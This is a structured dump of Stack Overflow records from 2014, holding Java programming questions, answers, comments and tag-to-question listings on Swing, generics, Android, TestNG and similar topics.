has comment: http://stackoverflow.com/comment/33855796
accepted answer of: http://stackoverflow.com/q/22283881
answers question: http://stackoverflow.com/q/22283881
has comment: http://stackoverflow.com/comment/33855284
type: AcceptedAnswer

http://stackoverflow.com/q/22203049
linked to: http://stackoverflow.com/q/1466240
tagged with: image
has answer: http://stackoverflow.com/a/22203780
score: 0
answer count: 1
has body: I got a background on C drive but its not showing up even though the code looks fine. It can run but there are a couple of problems. 1: Background doesnt show (You can download a random bg.jpg file to see if it works) 2: Text boxes are not centered, sadly... 3: I cant get texts to show beside the text boxes, like "User / PW" or "Welcome" or something. import javax.swing.*; import java.awt.*; import java.awt.event.*; public class Log extends JFrame { JButton b1; JLabel l1; public static void main(String[] args) { Log frameTabel = new Log(); } JButton blogin = new JButton("Login"); JPanel panel = new JPanel(); JTextField txuser = new JTextField(15); JPasswordField pass = new JPasswordField(15); Log(){ super("Login Autentification"); Toolkit tk = Toolkit.getDefaultToolkit(); int xSize = ((int) tk.getScreenSize().getWidth()); int ySize = ((int) tk.getScreenSize().getHeight()); setSize(xSize,ySize); setLocationRelativeTo(null); panel.setLayout (null); setLayout(new BorderLayout()); JLabel background=new JLabel(new ImageIcon("C:\\bg.jpg")); add(background); background.setLayout(new FlowLayout()); txuser.setBounds(70,30,150,20); pass.setBounds(70,65,150,20); blogin.setBounds(110,100,80,20); panel.add(blogin); panel.add(txuser); panel.add(pass); getContentPane().add(panel); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setVisible(true); actionlogin(); } public void actionlogin(){ blogin.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent ae) { String puname = txuser.getText(); String ppaswd = pass.getText(); if(puname.equals("test") &amp;&amp; ppaswd.equals("12345")) { newframe regFace =new newframe(); regFace.setVisible(true); dispose(); } else { JOptionPane.showMessageDialog(null,"Wrong Password / Username"); txuser.setText(""); pass.setText(""); txuser.requestFocus(); } } }); } }
accepted answer: http://stackoverflow.com/a/22203780
type: AnsweredQuestion
tagged with: java
tagged with: swing
tagged with: background
has title: Java background not showing up
type: Question

http://stackoverflow.com/comment/33898097
score: 0
comment on: http://stackoverflow.com/q/22308585
type: Comment
type: QuestionComment
has text: I'll show you a tricky way to find out: Inside class `A`, create a `String` instance variable. After each assignment, assign the string to the name of object that you referenced to.

http://stackoverflow.com/a/22183451
downvote count: 0
type: Answer
has body: For proper working, Project needs an additional attribute such as id: class Project { String id; Unit unit; public Project(final String id) { this.id = id; } @Override public String toString() { return this.id + ": unit = " + this.unit.id; } } Then we are ready to setup the map with a custom Comparator: final SortedMap&lt;Project, List&lt;Activity&gt;&gt; map = new TreeMap&lt;&gt;(new Comparator&lt;Project&gt;() { @Override public int compare(final Project p1, final Project p2) { final int c = Integer.valueOf(p1.unit.id).compareTo(Integer.valueOf(p2.unit.id)); if (c != 0) { return c; } return p1.id.compareTo(p2.id); } }); If we don't add id to Project and use it in the Comparator, Project instances with the same Unit.id are considered to be equal.
accepted answer of: http://stackoverflow.com/q/22182534
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/22182534
has comment: http://stackoverflow.com/comment/33683120
type: AcceptedAnswer

http://stackoverflow.com/comment/33821412
has text: I have posted my code . . I created a static PrintWriter because i wanted to create multiple threads but i think there must be an easier way
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22265974

http://stackoverflow.com/q/22313976
favorite count: 0
accepted answer: http://stackoverflow.com/a/22313990
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/22313990
has title: Why is this not converting all instances?
upvote count: 2
type: Question
tagged with: java
has body: I do not know why this code is not converting all instances of 'm' to 'M' and instances of 'M' to 'm'. For example, it should be converting to: Report 98-17, Faculty of Technical matheMatics and InforMatics,%:m 2:M 1: when it is converting to: Report 98-17, Faculty of Technical MatheMatics and InforMatics,%:m 2:M1: Thanks. public static int numberOccurances(String l, char f){ int count=0; for(int x=0; x&lt;l.length();x++){ if(l.charAt(x)==f) count++; } return count; } public static void main(String[] args) throws FileNotFoundException, UnsupportedEncodingException { File file = new File("Old.txt"); Scanner scanner = new Scanner(file); PrintWriter writer = new PrintWriter("New.txt", "UTF-8"); while(scanner.hasNextLine()){ String line = scanner.nextLine(); int numberm=numberOccurances(line, 'm'); int numberM = numberOccurances(line, 'M'); for(int y=0; y&lt;line.length(); y++){ if(line.charAt(y)=='M'){ line=line.substring(0,y) + 'm' + line.substring(y+1); } if(line.charAt(y)=='m'){ line=line.substring(0,y) + 'M' + line.substring(y+1); } } if(numberm&gt;0&amp;&amp;numberM&gt;0) line=line + "%:m " + numberm + ":M" + numberM + ":"; if(numberm&gt;0&amp;&amp;numberM==0) line=line + "%:m " + numberm + ":"; if(numberM&gt;0&amp;&amp;numberm==0) line=line + "%:M " + numberM + ":"; writer.println(line); } writer.close(); }
tagged with: replace
answer count: 1
downvote count: 0
tagged with: string

http://stackoverflow.com/q/22278223
favorite count: 0
has title: Java Best Practices - Need to write to file constantly - BufferedWriter?
downvote count: 0
type: UnansweredQuestion
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22278335
tagged with: filestream
type: Question
has comment: http://stackoverflow.com/comment/33843117
tagged with: bufferedwriter
has body: So I have a java process that needs to constantly append a new line to a file every 100 milliseconds. I am currently use BufferedWriter for this, but from what I have read, the BufferedWriter object should always be .close()'d when its finished. If I did this, I would have to create a new BufferedWriter object every few milliseconds, which is not ideal. Are there any issues with creating one static BufferedWriter, and just .flush()'ing it after every write? Finally, is BufferedWriter the best class to use for this, if performance is a concern? Are there any viable alternatives? Thanks!
answer count: 2
upvote count: 1
has answer: http://stackoverflow.com/a/22278243

http://stackoverflow.com/q/22289755
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33864313
has comment: http://stackoverflow.com/comment/33864259
has comment: http://stackoverflow.com/comment/33864220
tagged with: java
tagged with: comparison
has answer: http://stackoverflow.com/a/22289870
answer count: 2
has comment: http://stackoverflow.com/comment/33864304
tagged with: null
tagged with: arrays
downvote count: 0
has comment: http://stackoverflow.com/comment/33864044
favorite count: 0
has title: Why can't you compare array[n] to null in a while loop?
tagged with: while-loop
has comment: http://stackoverflow.com/comment/33864162
has comment: http://stackoverflow.com/comment/33864073
has answer: http://stackoverflow.com/a/22289925
accepted answer: http://stackoverflow.com/a/22289870
has comment: http://stackoverflow.com/comment/33864279
score: 1
possible better answer: http://stackoverflow.com/a/22289925
upvote count: 1
has body: while (array[i] == null) gives an incomparable types error. I want to do the following: int i = 0; int[] array = new int[50]; while (array[i] == null) { array[i] = console.nextInt(); i++; }
type: Question

http://stackoverflow.com/comment/33740507
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22208261
has text: Either using [`RETURNING`](http://www.postgresql.org/docs/9.3/static/sql-insert.html), or the jdbc `getGeneratedKeys` option

http://stackoverflow.com/a/22188171
downvote count: 0
has body: Throwing an exception is done by simply using the throw keyword: public void someMethod() { if(something) { } else { throw new SomeException("My Custom Message"); } } You can throw an exception from anywhere in your code, not only in the else statement.
type: Answer
answers question: http://stackoverflow.com/q/22188138
score: 1
upvote count: 1

http://stackoverflow.com/a/22203300
score: 10
has comment: http://stackoverflow.com/comment/33707289
accepted answer of: http://stackoverflow.com/q/22203257
has comment: http://stackoverflow.com/comment/33707695
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22203257
upvote count: 10
type: Answer
has body: The first is type-safe because the list is empty, but still not advised. There's no benefit in using a raw type here. Better to design away from a warning than suppress it. The second is definitely not type-safe, as theList may be a List&lt;Integer&gt; for example: import java.util.*; public class Test { public static void main(String[] args) throws Exception { List&lt;Integer&gt; integers = new ArrayList&lt;&gt;(); integers.add(0); List&lt;String&gt; strings = new ArrayList(integers); // Bang! String x = strings.get(0); } } Note how the constructor itself is called without an exception - there's no way for it to know what kind of list you're really trying to construct, so it doesn't perform any casts. However, when you then fetch a value, that implicitly casts to String and you get a ClassCastException.
has comment: http://stackoverflow.com/comment/33707964
downvote count: 0
has comment: http://stackoverflow.com/comment/33707822

http://stackoverflow.com/comment/33952722
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22277481
has text: parent jsp set some values, so the included file can recieve this. pure view logic, so I think this should be down in view, not in action.
score: 0

http://stackoverflow.com/comment/33836755
score: 1
has text: If all of them depend on a common interface why don't you cast all of them to that known type? Exploit the polymorphism of the hierarchy that you have created. This is one of the scenarios where it shines.
comment on: http://stackoverflow.com/q/22274860
type: QuestionComment
type: Comment

http://stackoverflow.com/a/22274840
answers question: http://stackoverflow.com/q/22274480
score: 1
downvote count: 0
has body: To keep the array from being deleted when the if-statement exits, declare it outside of the if-statement, giving it a wider scope. The array can then be populated inside of the if-statement without going outside of scope when the if statement exits. For example, int[] arr; if (true) { arr = new int[1]; arr[0] = 5; } System.out.println(arr[0]); Output: 5 arr will maintain its value when the exiting the if-statement because it was declared outside of the if-statement and then instantiated inside. Your corrected code would be: Student[] oClassList; //Declared outside of both if-statements if(iUserSelection == 1) { System.out.println(); System.out.println("How many students?"); x = oScan.nextInt(); System.out.println(); // flush the buffer oScan.nextLine(); oClassList = new Student[x]; for(int i = 0; i &lt; x; i++) { System.out.println("*********************"); System.out.println("Student " + (i + 1) + " of " + x); System.out.println("*********************"); oClassList[i] = new Student("","",0,0,0,0); System.out.print("First Name: "); oClassList[i].setFirstName(oScan.nextLine()); System.out.print("Last Name: "); oClassList[i].setLastName(oScan.nextLine()); System.out.print("Homework average: "); oClassList[i].setHWAve(oScan.nextInt()); System.out.print("Quiz average: "); oClassList[i].setQuizAve(oScan.nextInt()); System.out.print("Project average: "); oClassList[i].setProjectAve(oScan.nextInt()); System.out.print("Test average: "); oClassList[i].setTestAve(oScan.nextInt()); // flush the buffer oScan.nextLine(); System.out.println(); oClassList[i].printStudent(); } } if(iUserSelection == 2) { // flush the buffer oScan.nextLine(); if(oClassList[0] != null) { System.out.println("Student search"); System.out.print("Enter last name: "); sSearchLastName = oScan.nextLine(); System.out.print("Enter first name: "); sSearchFirstName = oScan.nextLine(); } for(int y = 0; y &gt;= oClassList.length; y++) { if(sSearchLastName == oClassList[y].lastName) { System.out.println("found ele…
type: Answer
upvote count: 1

http://stackoverflow.com/comment/33725510
has text: Garbage Collection, JIT, system/OS overheads...
type: Comment
type: QuestionComment
score: 3
comment on: http://stackoverflow.com/q/22213071

http://stackoverflow.com/a/22220644
answers question: http://stackoverflow.com/q/22219119
has body: I'm not realy an expert on this but here goes nothing. I think this is related to what's documented in http://dev.mysql.com/doc/refman/5.6/en/alter-table.html Is your default character set on latin1 or something like that ? Perhaps you left it default and i think it then uses latin1. In any case i think you have to do something like this: ALTER TABLE target_table_name MODIFY latin1_text_col TEXT CHARACTER SET utf8; ALTER TABLE target_table_name MODIFY latin1_varchar_col VARCHAR(M) CHARACTER SET utf8; You can find out the default char set of the database by doing: use db_name; show variables like "character_set_database"; show variables like "collation_database";
upvote count: 1
has comment: http://stackoverflow.com/comment/109243948
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33738690

http://stackoverflow.com/comment/33776999
type: QuestionComment
has text: What errors are you getting and where?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22241704

http://stackoverflow.com/a/22183742
has comment: http://stackoverflow.com/comment/33681778
has body: Welcome to the world of Java! I'll try my best to explain the Servlets/JSPs part. I dont know a whole lot about Google app engine. 1) Servlets are nothing but Java objects but with more priveleges. Servlets know how to handle a web request! There are many things that come to mind when we talk about web request processing: who maps the URL to this servlet? Who gives this servlet user request parameters? How can I guarantee only authorized users can access this servlet? list goes on...... Answer to all above questions is a web container. And in the world of Java only one web container rules (others might differ): Apache Tomcat. In short, servlets are Java objects created for you by Tomcat. Where should the servlet reside? They reside in Tomcat. Is there another way to do this without using a .jsp page for the file uploading ? You dont need a JSP to send requests to a servlet. You can use jquery, python or anything else. As long as its a valid web request. I have set up the app engine back end for my project including endpoints. Is there a way to send the images/video that way to the server and still be able to retrieve a serving url to fetch the image/video later? See the tutorial here. Especially 'Implementing Tweet My Picture' section. Google app engine has Java API (along with python) and the best way to submit web request to that API using Java is servlets. That's why many example are in servlets. I think. Here's what i would do if I were you: Setup tomcat. There are many options. So reply if you are not sure. Deploy your handler servlet that'll use Google app engine Java API. Send your image files to blobstore (not the servlet). See the tutorial. App engine will forward blob related information to the handler servlet you created in step 2. Use Blobstoreservice in that servlet so that users can access that uploaded image. Let us know if this helped.
score: 0
answers question: http://stackoverflow.com/q/22180128
type: Answer

gradle
tags question: http://stackoverflow.com/q/22230271
tags question: http://stackoverflow.com/q/22275855
tags question: http://stackoverflow.com/q/22266566
tags question: http://stackoverflow.com/q/22213328
type: Tag
tags question: http://stackoverflow.com/q/22310637
tags question: http://stackoverflow.com/q/22209181
tags question: http://stackoverflow.com/q/22293141
tags question: http://stackoverflow.com/q/22301949
tag name: gradle
tags question: http://stackoverflow.com/q/22307516
tags question: http://stackoverflow.com/q/22177443
tags question: http://stackoverflow.com/q/22260512
tags question: http://stackoverflow.com/q/22196441

http://stackoverflow.com/comment/35704408
type: QuestionComment
has text: im developing an nosql database its jsndb (http://sourceforge.net/projects/jsdbase/). "its in alpha stage" and it is not key/value, but you can get objects by key. give it a try
comment on: http://stackoverflow.com/q/22186175
score: 0
type: Comment

http://stackoverflow.com/comment/33775813
has text: This is what you want: :http://stackoverflow.com/a/17247704/1927832
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22241024
type: Comment

http://stackoverflow.com/q/22312849
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/53805910
has answer: http://stackoverflow.com/a/53805883
has body: I'm new in Android developing and I'm having some issues with creating a new Activity. I want to start a new Activity when a Button is clicked but the app crashes. Here is what is said in the console and in the logcat: LogCat 03-11 00:21:08.639: D/AndroidRuntime(336): Shutting down VM 03-11 00:21:08.649: W/dalvikvm(336): threadid=1: thread exiting with uncaught exception (group=0x40015560) 03-11 00:21:08.659: E/AndroidRuntime(336): FATAL EXCEPTION: main 03-11 00:21:08.659: E/AndroidRuntime(336): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.src.vicnote/com.src.vicnote.MainActivity}: java.lang.NullPointerException 03-11 00:21:08.659: E/AndroidRuntime(336): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:1647) 03-11 00:21:08.659: E/AndroidRuntime(336): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:1663) 03-11 00:21:08.659: E/AndroidRuntime(336): at android.app.ActivityThread.access$1500(ActivityThread.java:117) 03-11 00:21:08.659: E/AndroidRuntime(336): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:931) 03-11 00:21:08.659: E/AndroidRuntime(336): at android.os.Handler.dispatchMessage(Handler.java:99) 03-11 00:21:08.659: E/AndroidRuntime(336): at android.os.Looper.loop(Looper.java:123) 03-11 00:21:08.659: E/AndroidRuntime(336): at android.app.ActivityThread.main(ActivityThread.java:3683) 03-11 00:21:08.659: E/AndroidRuntime(336): at java.lang.reflect.Method.invokeNative(Native Method) 03-11 00:21:08.659: E/AndroidRuntime(336): at java.lang.reflect.Method.invoke(Method.java:507) 03-11 00:21:08.659: E/AndroidRuntime(336): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839) 03-11 00:21:08.659: E/AndroidRuntime(336): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597) 03-11 00:21:08.659: E/AndroidRuntime(336): at dalvik.system.NativeStart.main(Native Method) 03-11 00:21:08.659: E/AndroidRuntime(336): Caused by: java.lang.NullPointerExcepti…
tagged with: android-intent
type: Question
has answer: http://stackoverflow.com/a/22312975
has answer: http://stackoverflow.com/a/45614986
has title: Error when starting a new activity Android
has comment: http://stackoverflow.com/comment/33905609
has answer: http://stackoverflow.com/a/22313446
tagged with: java
accepted answer: http://stackoverflow.com/a/22313446
has answer: http://stackoverflow.com/a/41722546
tagged with: eclipse
has comment: http://stackoverflow.com/comment/33905572
score: 5
has comment: http://stackoverflow.com/comment/33905872
has answer: http://stackoverflow.com/a/53805933
downvote count: 0
answer count: 7
favorite count: 0
upvote count: 5
has comment: http://stackoverflow.com/comment/33905659
tagged with: android
possible better answer: http://stackoverflow.com/a/41722546
has comment: http://stackoverflow.com/comment/33905656
tagged with: android-activity
has comment: http://stackoverflow.com/comment/33905651

http://stackoverflow.com/comment/33846318
type: Comment
comment on: http://stackoverflow.com/a/22280045
type: AnswerComment
has text: @svz is correct. Your declaration of type variable<K> in the method is shadowing the declaration in the class, which is hidden because of this. So you're now saying that your method can return any A<T> without restricting T to a subclass of Number - but that is incompatible with the way in which class A is declared, which does require it to be a subclass of Number.
score: 0

http://stackoverflow.com/comment/33691370
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22194645
has text: I am not sure I fully understand your question. I have code that redirects `System.out` and `System.err` to my own class (used to display output from several classes that use `System.out.println()` in a Swing window). You need something like that?
score: 0

http://stackoverflow.com/a/22215035
score: 1
type: Answer
upvote count: 1
has body: import java.util.Scanner; public class Token { static String[] r; private static Scanner input; public static void main(String[] args) { // TODO Auto-generated method stub String token; String sem1 = null,sem2 = null; input = new Scanner(System.in); System.out.println("Enter an Word"); token = input.nextLine(); r = token.split("\\ "); for(int i=0;i&lt;r.length;i++){ System.out.print("\nSplit value is"+r[i]); if(r[i].equals("Spring")){ sem1="1"; } else if(r[i].equals("Summer")){ sem1="2"; }else if(r[i].equals("Fall")){ sem1="3"; }else{ sem2=r[i].substring(2,4); } } System.out.print("\nSemester no "+sem1); System.out.print("\nYear is :"+sem2); String semester_id=sem2+sem1; System.out.print("\nFinal Semester id is:"+semester_id); } } Thanks all ... I have solved this :) Output: Enter an Word Fall 2011 Split value isFall Split value is2011 Semester no 3 Year is :11 Final Semester id is:113 Enter an Word Spring 2014 Split value isSpring Split value is2014 Semester no 1 Year is :14 Final Semester id is:141
downvote count: 0
answers question: http://stackoverflow.com/q/22194165

http://stackoverflow.com/q/22212036
tagged with: testng
has body: i have a testng suite with some 2 test methods. createuser() and updateuser(). also i have an instance variable User user; so at end of createUser() i associate the created user to that instance variable user. now in updateUSer() (dependent upon Createuser) i try to update some attributes of this object. everything runs fine normally. but when i use invocationcount=3, threadpoolsize=3, sometimes some of the methods will fail. now i figured out this is due to 1 common shared User instance for different threads. is there any way whole IT class with different methods run in 1 single thread but i can spawn multiple executions of this IT. so thread 1 -> IT with 2 tests, thread 2-> IT with 2 tests and so on... so i am looking something like invocationcount and threadpoolsize for the whole IT class instead of each method.
tagged with: multithreading
type: AnsweredQuestion
tagged with: java
type: Question
tagged with: testing
accepted answer: http://stackoverflow.com/a/22388053
has title: testng multiple threads for whole IT class
answer count: 1
score: 0
has answer: http://stackoverflow.com/a/22388053

http://stackoverflow.com/comment/33849884
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22279249
has text: i want to optimize this: how can I recognize the device isn't used for more than 30 minutes and then not to send an update to the server. And restart the Alarm manager again after user first touch.
score: 0

http://stackoverflow.com/q/22226575
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/32775711
has comment: http://stackoverflow.com/comment/33748797
has answer: http://stackoverflow.com/a/22226933
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33748373
upvote count: 1
tagged with: swing
type: Question
has title: Change background color of JTable Cell clicked
has comment: http://stackoverflow.com/comment/33809584
tagged with: jtable
answer count: 2
has body: I've two questions 1.I want to change color of a Cell of JTable on mouse click. I've added a listener, like toggle between two colors, if currently it is green, it should turn to blow on other click String[][] data = new String[rows][columns]; DefaultTableModel model = new DefaultTableModel(data, header); JTable table = new JTable(model); table.addMouseListener(new CellClickListener()); // Using following MouseListener public class CellClickListener extends MouseAdapter{ public void mouseClicked(MouseEvent e) { JTable target = (JTable)e.getSource(); int row = target.getSelectedRow(); int column = target.getSelectedColumn(); // How to getCell object here and change its background color to clicked cell } } 2.How can I set different column width, like firstColumn.setWidth(20), secondColumn.setWidth(40). I've already disabled auto resize table.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
downvote count: 0
has comment: http://stackoverflow.com/comment/33801839
linked to: http://stackoverflow.com/q/16113950
linked to: http://stackoverflow.com/q/7181699
favorite count: 0
has comment: http://stackoverflow.com/comment/33748873
has comment: http://stackoverflow.com/comment/33748998
tagged with: colors

http://stackoverflow.com/comment/33784184
type: Comment
type: QuestionComment
has text: And whats and where is the issue?
comment on: http://stackoverflow.com/q/22245815
score: 0

http://stackoverflow.com/comment/33688697
score: 0
has text: In c you could use large stack allocated objects.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22182669

selenium-webdriver
tags question: http://stackoverflow.com/q/22202292
tags question: http://stackoverflow.com/q/22216167
tags question: http://stackoverflow.com/q/22249425
tags question: http://stackoverflow.com/q/22325310
tags question: http://stackoverflow.com/q/22291298
tags question: http://stackoverflow.com/q/22306188
tags question: http://stackoverflow.com/q/22220633
tags question: http://stackoverflow.com/q/22204211
tags question: http://stackoverflow.com/q/22236726
tags question: http://stackoverflow.com/q/22218072
tags question: http://stackoverflow.com/q/22316459
tag name: selenium-webdriver
tags question: http://stackoverflow.com/q/22291863
tags question: http://stackoverflow.com/q/22307669
tags question: http://stackoverflow.com/q/22297628
tags question: http://stackoverflow.com/q/22172045
tags question: http://stackoverflow.com/q/22242789
tags question: http://stackoverflow.com/q/22313600
tags question: http://stackoverflow.com/q/22320951
type: Tag
tags question: http://stackoverflow.com/q/22298045
tags question: http://stackoverflow.com/q/22296023
tags question: http://stackoverflow.com/q/22300791
tags question: http://stackoverflow.com/q/22219380
tags question: http://stackoverflow.com/q/22193558

regex
tags question: http://stackoverflow.com/q/22183481
tags question: http://stackoverflow.com/q/22174797
tags question: http://stackoverflow.com/q/22182415
tags question: http://stackoverflow.com/q/22314225
tags question: http://stackoverflow.com/q/22186092
tags question: http://stackoverflow.com/q/22216661
tags question: http://stackoverflow.com/q/22266952
tags question: http://stackoverflow.com/q/22301297
tags question: http://stackoverflow.com/q/22200915
tags question: http://stackoverflow.com/q/22241812
tags question: http://stackoverflow.com/q/22255198
tags question: http://stackoverflow.com/q/22221188
tags question: http://stackoverflow.com/q/22204098
tags question: http://stackoverflow.com/q/22238826
tags question: http://stackoverflow.com/q/22213316
tags question: http://stackoverflow.com/q/22230033
tag name: regex
tags question: http://stackoverflow.com/q/22283856
tags question: http://stackoverflow.com/q/22182007
tags question: http://stackoverflow.com/q/22175657
tags question: http://stackoverflow.com/q/22319339
tags question: http://stackoverflow.com/q/22288096
tags question: http://stackoverflow.com/q/22325083
tags question: http://stackoverflow.com/q/22277154
tags question: http://stackoverflow.com/q/22177484
tags question: http://stackoverflow.com/q/22218350
tags question: http://stackoverflow.com/q/22172108
tags question: http://stackoverflow.com/q/22303784
tags question: http://stackoverflow.com/q/22310783
tags question: http://stackoverflow.com/q/22209175
tags question: http://stackoverflow.com/q/22246931
tags question: http://stackoverflow.com/q/22313370
tags question: http://stackoverflow.com/q/22236626
tags question: http://stackoverflow.com/q/22248043
tags question: http://stackoverflow.com/q/22254049
tags question: http://stackoverflow.com/q/22280452
tags question: http://stackoverflow.com/q/22225268
tags question: http://stackoverflow.com/q/22317475
tags question: http://stackoverflow.com/q/22197554
tags question: http://stackoverflow.com/q/22281567
tags question: http://stackoverflow.com/q/22193795
tags question: http://stackoverflow.com/q/22254070
tags question: http://stackoverflow.com/q/22206641
tags question: http://stackoverflow.com/q/22212097
tags question: http://stackoverflow.com/q/22301195
tags question: http://stackoverflow.com/q/22207549
tags question: http://stackoverflow.com/q/22325005
tags question: http://stackoverflow.com/q/22284822
tags question: http://stackoverflow.com/q/22212448
tags question: http://stackoverflow.com/q/22236709
tags question: http://stackoverflow.com/q/22253079
tags question: http://stackoverflow.com/q/22279453
tags question: http://stackoverflow.com/q/22220705
tags question: http://stackoverflow.com/q/22285167
tags question: http://stackoverflow.com/q/22266750
tags question: http://stackoverflow.com/q/22173991
tags question: http://stackoverflow.com/q/22251660
tags question: http://stackoverflow.com/q/22269392
tags question: http://stackoverflow.com/q/22271221
tags question: http://stackoverflow.com/q/22327203
tags question: http://stackoverflow.com/q/22284302
tags question: http://stackoverflow.com/q/22324498
tags question: http://stackoverflow.com/q/22267816
tags question: http://stackoverflow.com/q/22293046
tags question: http://stackoverflow.com/q/22181797
tags question: http://stackoverflow.com/q/22194218
tags question: http://stackoverflow.com/q/22181740
tags question: http://stackoverflow.com/q/22238832
tags question: http://stackoverflow.com/q/22261867
tags question: http://stackoverflow.com/q/22303777
tags question: http://stackoverflow.com/q/22280562
tags question: http://stackoverflow.com/q/22205893
tags question: http://stackoverflow.com/q/22277816
tags question: http://stackoverflow.com/q/22175332
tags question: http://stackoverflow.com/q/22326923
tags question: http://stackoverflow.com/q/22252297
tags question: http://stackoverflow.com/q/22325401
tags question: http://stackoverflow.com/q/22305186
tags question: http://stackoverflow.com/q/22303432
tags question: http://stackoverflow.com/q/22259733

http://stackoverflow.com/a/22294583
score: 21
upvote count: 21
has comment: http://stackoverflow.com/comment/61070816
has comment: http://stackoverflow.com/comment/33939497
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22284429
accepted answer of: http://stackoverflow.com/q/22284429
type: Answer
has body: Actually you always draw with SpriteBatch, as Stage uses its own SpriteBatch. If you think you could need some of the advantages of Scene2ds Stage, like Actions, Groups or other things, you should use Stage. In my opinion it is really easy to use. You have your own objects, which extend Image or Actor, override their update(delta) methods, where you check if the Actor should move (Keypressed or an event for the AI). Also you should detect collisions there and take care about them. Then, if you are extending Image you don't need to care about drawing (but Image needs Drawables so you will have some problems with Animations), if you are extending Actor override the draw(SpriteBatch batch), where you call batch.draw(...). Thats it. A big disadvantage of Stage is the sorting. The Actor, which is drawn as first is in the background. The last Actor overdraws all others and is in foreground. You can sort them by using the z-Index, but it is not really sure. So you may decide to use your own kind of Stage (it is more or less a list, containing all Actors, and when updateor draw is called, it is called for every Actor in this list), and add your own sorting there. It depends on your game design, on your opinion and on your style. Look at some tutorials/examples and decide how you want to create your game.

http://stackoverflow.com/comment/33784721
has text: Thanks.. For giving me suggestion.
type: Comment
comment on: http://stackoverflow.com/a/22245847
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33781870
score: 0
type: Comment
type: QuestionComment
has text: @Mankarse: this should be an answer.
comment on: http://stackoverflow.com/q/22244398

http://stackoverflow.com/q/22172256
type: Question
has answer: http://stackoverflow.com/a/22172322
has answer: http://stackoverflow.com/a/22172314
tagged with: java
has body: This is more about best-practices, but how should the top-level domain of a java package(ex: com.foo.bar, where com is the top-level domain) be determined or decided? I know com is used in most corporate packages, but is there a list or resource I can use to determine the uses of other package based TLDs?
score: 0
answer count: 2
type: UnansweredQuestion
tagged with: package
has title: How should a top-level domain in a package be determined?

http://stackoverflow.com/comment/33700598
type: QuestionComment
has text: Why are you calling getGraphics() on a component? That's generally a bad idea. What is the full stack trace of your exception?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22199757

http://stackoverflow.com/comment/33800093
has text: Are you asking for the mathematical algorithm or for how to implement one?
type: QuestionComment
comment on: http://stackoverflow.com/q/22254632
score: 0
type: Comment

http://stackoverflow.com/comment/33655723
type: Comment
comment on: http://stackoverflow.com/q/22174659
has text: Why would a union of `[(0,2), (3,6)]` and `[(1,4), (5,7)]` result in `[(0,7)]` rather than `[(0,2), (3,6),(1,4), (5,7)]`?
score: 0
type: QuestionComment

http://stackoverflow.com/a/64803713
type: Answer
has body: Based on Dmitry Stolbov answer here and the problems and limitations encountered by it and the rest of the responses I came with the below class, that implements the method generateDocument that searches in paragraphs and tables. Here I solved several problems found in the responses like: the .setText(x, 0) to replace and not add problems with paragraphs containing "\t". When we do run.getText(int position) on a run with this char we get null so we can't use the .contains() over it. merging runs together when the keyTag to replace is splitted across multiple runs This works fine but I need some insights on how to solve a problem I' having. Sometimes the value to replace in the file is larger than the tag to replace, and that ends up screwing up the alignments. For example: the template: the output file: What happened is that the {#branch#} and {#insurCompanyCorporateName#} were replaced by larger strings, after the {#branch#} tag there are several "\t" elements and that, combined to the fact that {#insurCompanyCorporateName#} value is also larger that the tag, pushed the contents forward making it split to the next line. I was wondering if anyone has some insights on how I could maybe understand at runtime if the values I'm replacing make the document split lines, or mess up the position of further elements in the page. In this case I would like my program to understand that he should remove some "\t" after the branch for example. Or maybe split the {#insurCompanyCorporateName#} to a new line, but making the new line starting bellow the original tag or something. Thoghts? The class: package com.idoine.struts2.action.shared; import org.apache.poi.openxml4j.exceptions.InvalidFormatException; import org.apache.poi.openxml4j.opc.OPCPackage; import org.apache.poi.xwpf.usermodel.*; import org.json.JSONObject; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.util.List; /** * Created by migue on 11/11/2020. *…
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/22268898
downvote count: 0

http://stackoverflow.com/comment/33840816
has text: I think you need to post more code so we can understand the program. If soundGoodLuck.play() just plays the sound, cant you just call this at a later stage? Or you can call Thread.sleep
comment on: http://stackoverflow.com/q/22276929
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22295677
type: Answer
score: 0
answers question: http://stackoverflow.com/q/22295597
has body: Nope, any class that doesn't extend explicitly extends Object, so let's assume that you have 2 classes, A and B , and B extends A, the heirachy will look as follows: Object>A>B So A directly inherits Object, and B directly inherits A and indirectly Object :)

http://stackoverflow.com/q/22179112
tagged with: video
